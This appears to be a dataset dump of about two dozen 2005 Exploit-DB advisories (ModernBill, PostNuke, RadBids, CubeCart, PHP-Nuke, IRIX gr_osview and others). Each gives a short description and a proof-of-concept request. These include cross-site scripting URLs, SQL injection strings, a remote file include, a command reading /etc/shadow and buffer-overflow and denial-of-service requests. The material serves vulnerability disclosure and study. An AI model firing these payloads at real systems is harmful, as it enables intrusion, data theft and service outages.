QLWD/code_shield huggingface dataset:
标题: ModernGigabyte ModernBill 4.3 - 'news.php' File Inclusion EDB-ID: 25376 CVE: 2005-1054 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/13086/info

ModernBill is prone to a remote file include vulnerability.

The problem presents itself specifically when an attacker passes the location of a remote attacker-specified script through the 'news.php' script.

ModernBill 4.3 and prior versions are vulnerable to this issue. 

http://www.example.com/samples/news.php?DIR=http://www.example.com/ URL: https://www.exploit-db.com/exploits/25376
标题: PostNuke Phoenix 0.760 RC3 - 'OP' Cross-Site Scripting EDB-ID: 25366 CVE: 2005-1049 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/13075/info

A remote cross-site scripting vulnerability affects PostNuke. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/user.php?op=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&module=NS-NewUser&POSTNUKESID=355776cfb622466924a7096d4471a480 URL: https://www.exploit-db.com/exploits/25366
标题: RadScripts RadBids Gold 2.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25372 CVE: 2005-1075 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/13080/info
  
RadBids Gold is reported prone to multiple vulnerabilities. These issues include arbitrary file disclosure, cross-site scripting, and SQL injection.
  
The following specific vulnerabilities were identified:
  
A remote attacker can disclose arbitrary files. Information gathered through this issue may allow the attacker to carry out other attacks against an affected computer.
  
The application is affected by a SQL injection vulnerability. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
Multiple cross-site scripting issues have been identified as well. An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
  
RadBids Gold v2 is reported vulnerable to these issues. Other versions may be affected as well. 

http://www.example.com/auciton_software/index.php?a=listings&mode=1&order=name&cat=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/auciton_software/index.php?a=listings&mode=1&order='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&cat=

http://www.example.com/auciton_software/index.php?a=myareas&area=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25372
标题: RadScripts RadBids Gold 2.0 - 'index.php?mode' SQL Injection EDB-ID: 25370 CVE: 2005-1074 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/13080/info
 
RadBids Gold is reported prone to multiple vulnerabilities. These issues include arbitrary file disclosure, cross-site scripting, and SQL injection.
 
The following specific vulnerabilities were identified:
 
A remote attacker can disclose arbitrary files. Information gathered through this issue may allow the attacker to carry out other attacks against an affected computer.
 
The application is affected by a SQL injection vulnerability. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Multiple cross-site scripting issues have been identified as well. An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
RadBids Gold v2 is reported vulnerable to these issues. Other versions may be affected as well. 

http://www.example.com/auciton_software/index.php?a=listings&mode='SQL_INJECTION&order=name&cat=
SELECT id, area, radbids_listings.moderated, name, type, featured, hot, urgent, detailview, viewcount, COUNT(radbids_bids.pid) AS bids, AVG(radbids_bids.price) AS
average, MAX(radbids_bids.dateposted) AS lastbid, radbids_listings.dateposted, UNIX_TIMESTAMP(radbids_listings.dateposted) AS pdate,
UNIX_TIMESTAMP(dateexpire)-UNIX_TIMESTAMP(NOW()) AS timeleft, radbids_rate.avgrate, min_bid, bid_inc, buynow, dateawarded, listing_type FROM radbids_listings LEFT JOIN
radbids_bids ON radbids_listings.id=radbids_bids.pid LEFT JOIN radbids_rate ON radbids_listings.id=radbids_rate.pid WHERE GROUP BY id ORDER BY name, dateposted DESC
LIMIT 0,25 URL: https://www.exploit-db.com/exploits/25370
标题: RadScripts RadBids Gold 2.0 - 'index.php?read' Traversal Arbitrary File Access EDB-ID: 25369 CVE: 2005-1073 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/13080/info

RadBids Gold is reported prone to multiple vulnerabilities. These issues include arbitrary file disclosure, cross-site scripting, and SQL injection.

The following specific vulnerabilities were identified:

A remote attacker can disclose arbitrary files. Information gathered through this issue may allow the attacker to carry out other attacks against an affected computer.

The application is affected by a SQL injection vulnerability. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Multiple cross-site scripting issues have been identified as well. An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

RadBids Gold v2 is reported vulnerable to these issues. Other versions may be affected as well. 

http://www.example.com/auciton_software/index.php?read=arbitary_file URL: https://www.exploit-db.com/exploits/25369
标题: ModernGigabyte ModernBill 4.3 - 'C_CODE' Cross-Site Scripting EDB-ID: 25377 CVE: 2005-1053 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/13087/info

ModernBill is affected by a cross-site scripting vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'c_code' parameter. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

ModernBill 4.3 and prior versions are vulnerable to this issue.

http://www.example.com/order/orderwiz.php?v=1&aid=&c_code=[XSS] URL: https://www.exploit-db.com/exploits/25377
标题: RadScripts RadBids Gold 2.0 - 'faq.php?farea' Cross-Site Scripting EDB-ID: 25371 CVE: 2005-1075 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/13080/info
 
RadBids Gold is reported prone to multiple vulnerabilities. These issues include arbitrary file disclosure, cross-site scripting, and SQL injection.
 
The following specific vulnerabilities were identified:
 
A remote attacker can disclose arbitrary files. Information gathered through this issue may allow the attacker to carry out other attacks against an affected computer.
 
The application is affected by a SQL injection vulnerability. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Multiple cross-site scripting issues have been identified as well. An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
RadBids Gold v2 is reported vulnerable to these issues. Other versions may be affected as well. 

http://www.example.com/auciton_software/faq.php?farea=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25371
标题: Azerbaijan Development Group AzDGDatingPlatinum 1.1.0 - 'view.php?id' Cross-Site Scripting EDB-ID: 25373 CVE: 2005-1081 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/13082/info

AzDGDatingPlatinum is reported prone to multiple vulnerabilities.

The following specific issues were identified:

- Multiple SQL-injection vulnerabilities. These issues could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

- A cross-site scripting issue. An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AzDGDatingPlatinum 1.1.0 is reported vulnerable. Other versions may be affected as well. 

http://www.example.com/[path]/view.php?l=default&id=3%3Cscript%3Ealert();%3C/script%3E URL: https://www.exploit-db.com/exploits/25373
标题: ModernGigabyte ModernBill 4.3 - 'Aid' Cross-Site Scripting EDB-ID: 25378 CVE: 2005-1053 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/13089/info

ModernBill is affected by a cross-site scripting vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'aid' parameter. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

ModernBill 4.3 and prior versions are vulnerable to this issue.

http://www.example.com/order/orderwiz.php?v=1&aid=[XSS] URL: https://www.exploit-db.com/exploits/25378
标题: PostNuke Phoenix 0.760 RC3 - 'Module' Cross-Site Scripting EDB-ID: 25367 CVE: 2005-1049 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/13076/info

A remote cross-site scripting vulnerability affects PostNuke. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/admin.php?module=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&op=main&POSTNUKESID=355776cfb622466924a7096d4471a480 URL: https://www.exploit-db.com/exploits/25367
标题: Zoom Media Gallery 2.1.2 - 'index.php' SQL Injection EDB-ID: 25379 CVE: 2005-1079 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/13094/info

zOOm Media Gallery is reportedly affected by a remote SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue is reported to affect zOOm Media Gallery version 2.1.2; other versions may also be affected.

http://www.example.com/index.php?option=com_zoom&Itemid=39&catid=2+OR+1=1 URL: https://www.exploit-db.com/exploits/25379
标题: Azerbaijan Development Group AzDGDatingPlatinum 1.1.0 - 'view.php?id' SQL Injection EDB-ID: 25374 CVE: 2005-1082 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/13082/info
 
AzDGDatingPlatinum is reported prone to multiple vulnerabilities.
 
The following specific issues were identified:
 
- Multiple SQL-injection vulnerabilities. These issues could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
- A cross-site scripting issue. An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
AzDGDatingPlatinum 1.1.0 is reported vulnerable. Other versions may be affected as well. 

http://www.example.com/[path]/view.php?l=default&id=3'%20OR%20'a'='a'/* URL: https://www.exploit-db.com/exploits/25374
标题: SGI IRIX 6.5.22 - GR_OSView Information Disclosure EDB-ID: 25361 CVE: 2005-0464 类型: LOCAL 平台: IRIX 发布日期: 2005-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/13057/info

gr_osview is reported prone to an information disclosure vulnerability. This issue can help a local attacker to obtain sensitive information such as exposing an administrator's password hash and carrying out other attacks.

This issue has been confirmed in SGI IRIX 6.5.22 maintenance release. Other versions of IRIX may be vulnerable as well. 

gr_osview -d -D /etc/shadow URL: https://www.exploit-db.com/exploits/25361
标题: CubeCart 2.0.x - 'tellafriend.php?product' Full Path Disclosure EDB-ID: 25356 CVE: 2005-1033 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13050/info
 
CubeCart is reported prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
These issues affect the 'index.php', 'tellafriend.php', 'view_cart.php', and 'view_product.php' script.
 
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. This is not confirmed. 

http://www.example.com/tellafriend.php?&product=' URL: https://www.exploit-db.com/exploits/25356
标题: PHP-Nuke 7.6 Web_Links Module - Multiple SQL Injections EDB-ID: 25360 CVE: 2005-0997 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/13055/info

The Web_Links module of PHP-Nuke is affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

These issues are reported to affect PHP-Nuke version 7.6; earlier versions may also be affected.

http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=modifylinkrequestS&url='[SQL]
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=viewlink&orderby=[SQL]&min=[SQL]
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=search&query=sex&orderby=[SQL]&min=[SQL]&show=[SQL]
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=MostPopular&ratenum=[SQL]&ratetype=num URL: https://www.exploit-db.com/exploits/25360
标题: SGI IRIX 6.5.22 - GR_OSView Local Arbitrary File Overwrite EDB-ID: 25362 CVE: 2005-0465 类型: LOCAL 平台: IRIX 发布日期: 2005-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/13058/info

A local file overwrite vulnerability affects SGI IRIX. This issue is due to a failure of the affected utility to drop privileges prior to carrying out critical functionality.

An attacker may leverage this issue to cause the affected utility to write data to any file on the affected computer with superuser privileges. Although unconfirmed, it is possible that this issue may be leveraged for privilege escalation.

It should be noted that although only SGI IRIX 6.5.22(maintenance) has been confirmed vulnerable, it is likely that all IRIX 6.5 versions are affected as well. 

gr_osview -s /etc/shadow URL: https://www.exploit-db.com/exploits/25362
标题: AN HTTPD - 'CMDIS.dll' Remote Buffer Overflow (PoC) EDB-ID: 25364 CVE: 2005-1086 类型: DOS 平台: WINDOWS 发布日期: 2005-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/13066/info

AN HTTPD is reported prone to a remote buffer overflow vulnerability.

Specifically, the issue presents itself in 'cmdIS.DLL' which calls the 'GetEnvironmentStrings' function to copy environment variables into a finite sized process buffer.

The attacker can issue a malformed HTTP GET command including excessive data as a value for an affected HTTP header to trigger the overflow. This can lead to arbitrary code execution, allowing the attacker to gain unauthorized access in the context of the Web server.

AN HTTPD 1.42n is reported vulnerable, however, it is possible that other versions are affected as well. 

GET /scripts/cmdIS.dll/cgi-bin/test.bat HTTP/1.0
user-agent: aaaaaaaaaaaaaaaaaaaaaa [approx 8300 characters] aaaaaaaaaaaaaaaaaaaa... URL: https://www.exploit-db.com/exploits/25364
标题: Active Auction House - 'WatchThisItem.asp' Cross-Site Scripting EDB-ID: 25352 CVE: 2005-1030 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13039/info

Active Auction House is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/activeauctionsuperstore/watchthisitem.asp?itemid=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&amp%3baccountid= URL: https://www.exploit-db.com/exploits/25352
标题: Ocean12 Membership Manager Pro - Cross-Site Scripting EDB-ID: 25354 CVE: 2005-1095 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13046/info

Ocean12 Membership Manager Pro is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/main.asp?UserID=2&page=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cfont%20color=%22&Sort=Name&DisplayNumber=10 URL: https://www.exploit-db.com/exploits/25354
标题: CubeCart 2.0.x - 'view_product.php?product' Full Path Disclosure EDB-ID: 25358 CVE: 2005-1033 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13050/info
   
CubeCart is reported prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
These issues affect the 'index.php', 'tellafriend.php', 'view_cart.php', and 'view_product.php' script.
   
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. This is not confirmed. 

http://www.example.com/view_product.php?product=' URL: https://www.exploit-db.com/exploits/25358
标题: Linksys WET11 - Password Update Remote Authentication Bypass EDB-ID: 25359 CVE: 2005-1059 类型: REMOTE 平台: HARDWARE 发布日期: 2005-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/13051/info

A remote authentication bypass vulnerability affects Linksys WET11. This issue is due to a failure of the application to validate authentication credentials when processing password change requests.

An attacker may leverage this issue to arbitrarily change the administration password of an affected device, facilitating a complete compromise of the device. 

http://www.example.com/changepw.html?data=........................ URL: https://www.exploit-db.com/exploits/25359
标题: Active Auction House - 'sendpassword.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25351 CVE: 2005-1030 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13038/info

Active Auction House is reportedly affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/activeauctionsuperstore/sendpassword.asp?Table=Accounts&Title=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;
http://www.example.com/activeauctionsuperstore/sendpassword.asp?Table=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&Title=Account URL: https://www.exploit-db.com/exploits/25351
标题: CubeCart 2.0.x - 'view_cart.php?add' Full Path Disclosure EDB-ID: 25357 CVE: 2005-1033 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13050/info
  
CubeCart is reported prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
These issues affect the 'index.php', 'tellafriend.php', 'view_cart.php', and 'view_product.php' script.
  
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. This is not confirmed. 

http://www.example.com/view_cart.php?add=' URL: https://www.exploit-db.com/exploits/25357
标题: IBM Lotus Domino Server 6.5.1 Web Service - Remote Denial of Service EDB-ID: 25353 CVE: 2005-0986 类型: DOS 平台: UNIX 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13045/info

A remote denial of service vulnerability affects IBM Lotus Domino Server web service. This issue is due to a failure of the application to properly handle malformed network requests.

IBM has denied that this issue is a vulnerability and they have reported conflicting details regarding it. Please see the referenced IBM technote for more information.

An attacker may leverage this issue to crash the nHTTP.EXE web service, denying service to legitimate users. 

GET /cgi-bin/[xxx] HTTP/1.0
Host: 10.10.0.100

Where [xxx] represents a long string (~330) of UNICODE decimal value 430 characters. URL: https://www.exploit-db.com/exploits/25353